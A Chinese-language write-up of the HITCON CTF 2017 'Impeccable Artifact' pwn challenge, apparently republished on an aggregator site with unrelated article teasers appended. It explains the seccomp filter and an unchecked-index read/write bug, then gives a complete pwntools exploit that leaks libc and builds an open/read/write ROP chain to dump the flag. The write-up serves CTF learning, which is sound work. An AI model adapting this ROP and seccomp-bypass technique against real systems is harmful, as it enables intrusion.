CTF-PWN-沙箱逃脱-【seccomp和prtcl-2】

文章目录

  • 沙箱逃脱prtcl题
  • HITCON CTF 2017 Quals Impeccable Artifact
    • flag文件
    • 对应prctl函数
    • 检查
    • 源码
    • 思路
    • exp

沙箱逃脱prtcl题

HITCON CTF 2017 Quals Impeccable Artifact

flag文件

此时的flag文件在本文件夹建一个即可
在这里插入图片描述
此时的我设置的flag为

在这里插入图片描述

对应prctl函数

第一条是禁止特权
第二条是按定义的BPF来建立沙箱
在这里插入图片描述

检查

保护全开
在这里插入图片描述
查看沙箱规则
在这里插入图片描述
就是首先查看架构,如果不是ARCH_X86_64,就禁止该系统调用,然后获取该系统调用的第二个参数,并复制给X,然后获得系统调用号,接着检查系统调用号是否和read write fstat lseek 一样,一样的话允许执行。都不一样就看是否和mmap一样,如果一样就检查系统调用的第二个参数是否是奇数,如果是则禁止如果不是则允许,如果系统调用号和mmap不一样,就看是否和mprotect一样,如果一样依然检查系统调用的第二个参数是否是奇数,如果是则禁止如果不是则允许。如果系统调用号和mprotect不一样,就检查看系统调用号是否和系统调用的第二个参数一样,一样则允许该系统调用,否则看系统调用号再是否和brk exit exit_group相等,相同则允许,都不同那么将禁止该系统调用

源码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 *v3; // rdx
  const char *v4; // rdi
  int v6; // [rsp+8h] [rbp-658h] BYREF
  int v7; // [rsp+Ch] [rbp-654h] BYREF
  __int64 v8[200]; // [rsp+10h] [rbp-650h] BYREF
  _QWORD v9[2]; // [rsp+650h] [rbp-10h] BYREF

  v9[1] = __readfsqword(0x28u);
  sub_9F0(a1, a2, a3);
  v3 = v8;
  memset(v8, 0, sizeof(v8));
  v4 = (const char *)v9;
  while ( 1 )
  {
    sub_A29(v4, a2, v3);
    v7 = 0;
    _isoc99_scanf("%d", &v6);
    if ( v6 != 1 && v6 != 2 )
      break;
    puts("Idx?");
    _isoc99_scanf("%d", &v7);
    if ( v6 == 1 )
    {
      a2 = (char **)v8[v7];
      v4 = "Here it is: %lld\n";
      printf("Here it is: %lld\n", a2);
    }
    else
    {
      puts("Give me your number:");
      a2 = (char **)&v8[v7];
      v4 = "%lld";
      _isoc99_scanf("%lld", a2);
    }
  }
  return 0LL;
}

即输入一个位置,然后可以往这个位置写数据,或者显示这个数据,输入位置没有检查,可以任意读和任意写

思路

注意数组和var_8中级还有八个字节,var_8对应的索引为201
在这里插入图片描述

首先利用main函数结尾ret指令为返回到libc_start_main+241的位置可以利用show越界显示这个地址,对应数组的索引是203.从而泄露libc基地址,然后得到各种gadget的地址
在这里插入图片描述
由于我们的目标是读到flag文件的内容,所以需要open函数,然后read,再write,系统调用open函数需满足rdx=rax即可成功调用
由于需要先将文件内容读到内存里再通过write输出,所以还需知道内存的某段位置,此时发现栈上存在栈的地址,对应数组索引为205将该栈地址与返回地址相减得到0xE0,所以对应的索引就是231
在这里插入图片描述
在这里插入图片描述
直到通过该得到的栈地址-231*8可得到数组的起始地址,然后输入open的第一个参数在此位置即./flag,注意此时由于函数此时是整数输入,输入的字节会逆序排放到内存中,而调用open时是字符串参数,会从低地址到高地址一个一个转换,所以此时我们需要逆序输入./flag的字节即按galf/.字节输入

接下来就构造ROP链即可,首先是open(数组的初始地址,0,2) rax=2,此时构造的rdx不会对函数有影响,只是使得第二个参数和rax的值一样得以成功调用系统调用。

然后是read(之前open的返回值即rax的值,栈上的一段空间地址,输入写入长度) rax=0,此时得先将rax的值给rdi,然后再将rax赋值为0。
此时找不到mov rdi,rax; ret;所有gadget后面都有个跳转,此时需要控制跳转的位置最终还能回到ROP链上来,那么得提前控制rcx,如果rcx是一个pop ;ret的gadget位置,那么还能回到原来mov rdi, rax; call rcx的下一个gadget(因为此时call会往栈压入一个返回地址,pop后,ret正好能回到mov rdi, rax; call rcx的下一个gadget的位置),此时得提前准备好一个pop ;ret的gadget的地址在栈上,然后先pop rcx;ret,使得rcx是pop ;ret的gadget的地址。其他两个参数比较好控制
在这里插入图片描述
最后write(1,read输入的那段地址,输出长度)rax=1 此时只需修改rax和rdi即可,rsi和rdx不要变(和read的rsi和rdx一样),最后输出flag
在这里插入图片描述

exp

#!/usr/bin/env python

from pwn import *



r = process("./artifact")

gdb.attach(r,"b main")
def menu():
    r.recvuntil('?\n')

def cmd(num):
    r.sendline(str(num))

def show(num):
    cmd(1)
    r.sendline(str(num))
    r.recvuntil("Here it is: ")
    ret = r.recvline()[:-1]
    menu()
    return ret

def memo(num, inp):
    cmd(2)
    r.sendline(str(num))
    r.recvuntil('Give me your number:\n')
    r.sendline(str(inp))
    menu()

def end():
    cmd(3)



menu()

# leak libc adress
libc = int(show(203)) - 241 - 0x20300
print ('libc:', hex(libc))


# stack address index: 231
stack = int(show(205))
print ('stack:', hex(stack))

pop_rax = libc + 0x3a998
pop_rdi = libc + 0x1fd7a
pop_rsi = libc + 0x1fcbd
pop_rdx = libc + 0x1b92
pop_rcx = libc + 0x1a97b8
mov_rdi_rax_call_rcx = libc + 0x89ae9
syscall = libc + 0xbc765

# ./flag

memo(0, 0x67616c662f2e)


# open
memo(203, pop_rdi)
memo(204, stack - 231*8)
memo(205, pop_rsi)
memo(206, 0)
memo(207, pop_rdx)
memo(208, 2)
memo(209, pop_rax)
memo(210, 2)
memo(211, syscall)

# read
memo(212, pop_rcx)
memo(213, pop_rax)
memo(214, mov_rdi_rax_call_rcx)
memo(215, pop_rax)
memo(216, 0)
memo(217, pop_rsi)
memo(218, stack - 80*8)
memo(219, pop_rdx)
memo(220, 100)
memo(221, syscall)

# write
memo(222, pop_rax)
memo(223, 1)
memo(224, pop_rdi)
memo(225, 1)
memo(226, syscall)

end()

r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/304102.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

答疑解惑:核技术利用辐射安全与防护考核

前言 最近通过了《核技术利用辐射安全与防护考核》,顺利拿到了合格证。这是从事与辐射相关行业所需要的一个基本证书,考试并不难,在此写篇博客记录一下主要的知识点。 需要这个证书的行业常见的有医疗方面的,如放疗,…

Python实战化采集淘宝1688京东详情,API接口开发系列

Python实战化采集淘宝、京东详情和API接口开发是一个涉及多个步骤和技术的过程。下面是一个简化的教程,帮助你开始这个过程。 1. 准备工作 首先,确保你已经安装了Python,并且了解基本的Python编程。此外,你可能需要安装一些库&a…

php 的数据类型

目录 1.整型 2.浮点型 3.布尔类型 4.字符串 5.数组 6.NULL 7.对象 8.资源类型 查看变量对应值的类型: 1.使用“gettype(传入一个变量var)”来显示变量var的类型; 只会显示类型 2.使用“var_dump(传入一个变量var)”来显示变量var的类型; 会显示具体内容打…

精进单元测试技能——Pytest断言的艺术

本篇文章主要是阐述Pytest在断言方面的应用。让大家能够了解和掌握Pytest针对断言设计了多种功能以适应在不同测试场景上使用。 了解断言的基础 在Pytest中,断言是通过 assert 语句来实现的。简单的断言通常用于验证预期值和实际值是否相等,例如&#xf…

一、MOJO环境部署和安装

以Ubuntu系统为例。 安装mojo-CLI curl https://get.modular.com | MODULAR_AUTHmut_fe303dc5ca504bc4867a1db20d897fd8 sh - 安装mojo SDK modular auth mojo modular auth install mojo 查看mojo版本号 mojo --version 输入mojo指令,进入交互编程窗口

protobuf 学习笔记

protobuf 学习笔记 1. protobuf 的定义 protobuf是一种用于序列化结构数据的工具,实现数据的存储与交换,与编程语言和开发平台无关。 序列化:将结构数据或者对象转换成能够用于存储和传输的格式。 反序列化:在其他的计算环境中…

网安入门11-文件上传(前后端绕过,变形马图片马)

Upload-Labs Upload-Labs是一个使用PHP语言编写、专注于文件上传漏洞的闯关式网络安全靶场。练习该靶场可以有效地了解并掌握文件上传漏洞的原理、利用方法和修复方案。 思考:他只让我传一个.jpg的图片,我想传一个.php的木马,两者什么区别 …

笔试案例2

文章目录 1、笔试案例22、思维导图 1、笔试案例2 09)查询学过「张三」老师授课的同学的信息 selects.*,c.cname,t.tname,sc.score from t_mysql_teacher t, t_mysql_course c, t_mysql_student s, t_mysql_score sc where t.tidc.cid and c.cidsc.cid and sc.sids…

普中STM32-PZ6806L开发板(有点悲伤的故事)

简介 关于我使用 普中STM32-PZ6806L做了做了一些实验, 不小心输入12V,导致核心板等被烧坏, 为了利用电路和资源, 搭建了STM32F103CBT6并使用普中STM32-PZ6806L上面没有烧坏的模块的故事。 普中STM32-PZ6806L开发板 这块的STM32F103ZET6部分算是Closed了, 不准备换核…

Ubuntu 22.04 编译安装 Qt mysql驱动

参考自 Ubuntu20.04.3 QT5.15.2 MySQL驱动编译 Ubuntu 18.04 编译安装 Qt mysql驱动 下边这篇博客不是主要参考的, 但是似乎解决了我的难题(找不到 libmysqlclient.so) ubuntu18.04.2 LTS 系统关于Qt5.12.3 无法加载mysql驱动,需要重新编译MYSQL数据库驱动的问题以…

Debugger断点调试以及相应面板介绍

断点&#xff08;包含条件断点&#xff09;调试以及相应面板介绍 ​ 先准备两个函数&#xff0c;在bar函数中使用debugger&#xff0c;代码如下。 function foo() {let result 0for (let i 0; i < 10; i) {result i}result bar(result)return result}function bar(resu…

SpringBoot-开启Actuator监控

Spring Boot Actuator是Spring Boot提供的一种管理和监控应用程序的框架&#xff0c;可以帮助我们了解应用程序的运行状况&#xff0c;提供HTTP端点来暴露应用程序的不同方面&#xff0c;如健康状况、指标、日志和运行时信息等。 开启Actuator监控&#xff0c;我们可以通过HTT…

Spring Boot + MinIO 实现文件切片极速上传

1. 引言 在现代Web应用中,文件上传是一个常见的需求,尤其是对于大文件的上传,如视频、音频或大型文档。为了提高用户体验和系统性能,文件切片上传技术逐渐成为热门选择。 本文将介绍如何使用Spring Boot和MinIO实现文件切片极速上传技术,通过将大文件分割成小片段并并行上…

Photoshop Express一款出色的照片编辑器

​【应用名称】&#xff1a;Photoshop Express ​【适用平台】&#xff1a;#Android ​【软件标签】&#xff1a;#Photoshop ​【应用版本】&#xff1a;12.1.2 ​【应用大小】&#xff1a;223MB ​【软件说明】&#xff1a;软件升级更新。一款出色的照片编辑器&#xff0c…

[蓝桥杯学习] 树链剖分

定义 将树分割成若干条链&#xff0c;以维护树上的信息&#xff0c;若无特殊需求&#xff0c;一般是重链剖分。 重链剖分 如何重链剖分 两个dfs 第一个dfs是预处理各个结点的基本信息&#xff0c;第二个dfs是利用信息进行剖分&#xff08;dfs序&#xff09; 操作步骤 第一…

YOLOv8 Ultralytics:使用Ultralytics框架进行姿势估计

YOLOv8 Ultralytics&#xff1a;使用Ultralytics框架进行姿势估计 前言相关介绍前提条件实验环境安装环境项目地址LinuxWindows 使用Ultralytics框架进行姿势估计参考文献 前言 由于本人水平有限&#xff0c;难免出现错漏&#xff0c;敬请批评改正。更多精彩内容&#xff0c;可…

深入理解云原生技术:构建现代化可靠的应用

引言 云原生技术作为软件开发和部署的新范式&#xff0c;以其高度可伸缩性、灵活性和可靠性&#xff0c;吸引了广泛的关注。本文将深入探讨云原生技术的核心概念、优势以及其在现代软件开发中的应用。 1. 什么是云原生技术&#xff1f; 云原生技术是一种以云计算为基础&#…

探索Redis特殊数据结构:HyperLogLog在基数统计中的应用

一、概述 Redis官方提供了多种数据类型&#xff0c;除了常见的String、Hash、List、Set、zSet之外&#xff0c;还包括Stream、Geospatial、Bitmaps、Bitfields、Probabilistic&#xff08;HyperLogLog、Bloom filter、Cuckoo filter、t-digest、Top-K、Count-min sketch、Confi…

31-35.玩转Linux操作系统

玩转Linux操作系统 说明&#xff1a;本文中对Linux命令的讲解都是基于名为CentOS的Linux发行版本&#xff0c;我自己使用的是阿里云服务器&#xff0c;系统版本为CentOS Linux release 7.6.1810。不同的Linux发行版本在Shell命令和工具程序上会有一些差别&#xff0c;但是这些差…

1.2 Hadoop概述

小肥柴的Hadoop之旅 1.2 Hadoop概述 目录1.2 Hadoop概述1.2.1 回归问题1.2.2 Google的三篇论文1.2.3 Hadoop的诞生过程1.2.4 Hadoop特点简介 参考文献和资料 ) 目录 1.2 Hadoop概述 1.2.1 回归问题 通过前一篇帖子的介绍&#xff0c;特别是问题思考部分的说明&#xff0c;我…